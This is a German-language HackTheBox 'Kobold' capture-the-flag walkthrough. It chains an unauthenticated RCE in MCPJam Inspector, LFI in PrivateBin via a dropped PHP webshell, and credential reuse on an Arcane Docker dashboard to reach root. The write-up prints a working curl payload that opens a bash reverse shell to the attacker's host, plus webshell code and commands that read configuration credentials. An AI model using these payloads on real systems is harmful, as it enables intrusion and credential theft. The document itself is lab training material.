Zurück zur Startseite

RCE in MCPJam Inspector: HTB Kobold-Anleitung

HackTheBox Kobold demonstriert RCE in MCPJam Inspector über offene API, Verkettung mit LFI in PrivateBin Docker-Container und Privesc durch Credential-Wiederverwendung in Arcane-Dashboard. Anleitung umfasst nmap, ffuf, Payloads und interne Aufklärung.

HTB Kobold: von MCP RCE zu root über Docker
Advertisement 728x90

RCE über MCPJam Inspector in HackTheBox Kobold: Vollständige Anleitung

HackTheBox Kobold (Staffel 10, Einfach) verdeutlicht eine reale Bedrohung durch offengelegte Entwicklertools im KI/ML-Ökosystem. Der primäre Angriffsvektor ist eine unauthentifizierte RCE in MCPJam Inspector v1.4.2 (GHSA-232v-j27c-5pp6). Dies führt zu einer Kette über Docker-Volumes und Wiederverwendung von Zugangsdaten, die letztlich Root-Zugriff ermöglicht. Diese Analyse richtet sich an mittlere bis erfahrene DevSecOps-Experten.

Nmap zeigt die Ports 22 (SSH), 80/443 (nginx, kobold.htb) und 3552 (Arcane-Dashboard). Entscheidend ist ein Wildcard *.kobold.htb in SSL und die Subdomain mcp.kobold.htb mit einem offengelegten MCPJam Inspector.

Aufklärung und Enumeration

Standard-Nmap-Scan:

Google AdInline article slot
nmap -p- -sC -sV -oN recon/nmap/full.txt <Target IP>

| Port | Dienst | Version | Hinweise |

|------|---------|---------|-------|

| 22 | SSH | OpenSSH 9.6p1 | Kein CVE |

Google AdInline article slot

| 80 | HTTP | nginx 1.24.0 | Leitet zu HTTPS weiter |

| 443 | HTTPS | nginx 1.24.0 | kobold.htb |

| 3552 | HTTP | - | Arcane-Dashboard |

Google AdInline article slot

ffuf für Vhost-Enumeration:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
     -u https://kobold.htb -H "Host: FUZZ.kobold.htb" -k -fs 154

Gefunden mcp.kobold.htb — MCPJam Inspector v1.4.2. Vollzugriff: Server, Chat, App Builder ohne Anmeldung. Verbunden mit Ollama.

Model Context Protocol (MCP) — ein Protokoll zur Integration von KI-Modellen mit externen Tools. Inspector lauscht auf 0.0.0.0, und die API /api/mcp/connect akzeptiert serverConfig.command ohne Validierung.

Erster Zugang: RCE in MCPJam

Listener-Einrichtung:

nc -lvnp 4444

Payload:

curl -k https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/<Ihre IP>/4444 0>&1"],"env":{}},"serverId":"pwn"}'

Shell als ben (uid=1001, groups=ben,operator). Stabilisierung:

python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z; stty raw -echo; fg
export TERM=xterm

User-Flag: /home/ben/user.txt.

Interne Aufklärung

id
# uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

cat /etc/group | grep docker
# docker:x:111:alice

Benutzer mit Shell: root, ben, alice. ben — operator, alice — docker.

ss -tlnp zeigt localhost:8080 (PrivateBin Docker), 6274 (MCPJam). Nginx-Konfiguration zeigt bin.kobold.htb → localhost:8080.

Die Operator-Gruppe hat Lese-/Schreibzugriff auf /privatebin-data/ — ein geteiltes Docker-Volume.

find / -group operator 2>/dev/null

LFI in PrivateBin über Volume

PrivateBin 2.0.2 (CVE-2025-64714, GHSA-g2j9-g8r5-rg82). LFI über Cookie template, wenn templateselection = true.

  • Webshell im Volume:
cat > /privatebin-data/data/pwn.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
  • Ausführung:
curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=id"
  • conf.php auslesen:
curl -k https://bin.kobold.htb/ \
  -b "template=../data/pwn" \
  -G --data-urlencode "cmd=cat /srv/cfg/conf.php"

MySQL-Zugangsdaten: Benutzername privatebin, Passwort geleakt.

Privilegieneskalation: Wiederverwendung von Zugangsdaten

Checkliste:

  • SSH (alice/ben/root + geleakte)
  • su alice/root
  • Arcane: arcane/arcane-admin + geleakte

Erfolg: arcane / <GELEAKTES_PASSWORT> in Arcane v1.13.0 auf :3552.

Im Dashboard volle Docker-Kontrolle. Container mit privilegiertem Mount /host erstellen → Root-Shell.

Wichtige Erkenntnisse:

  • Offengelegte MCP-Tools (GHSA-232v-j27c-5pp6) — ein neuer RCE-Vektor in KI-Infrastruktur
  • Geteilte Docker-Volumes + Operator-Gruppe = Zugriff auf Host-Dateisystem
  • Wiederverwendung von Zugangsdaten: Standardbenutzernamen + geleakte Passwörter
  • LFI-Ketten über beschreibbare Volumes umgehen Container-Isolation
  • Immer Wildcard-Subdomains und interne Dienste enumerieren

— Editorial Team

Advertisement 728x90

Weiterlesen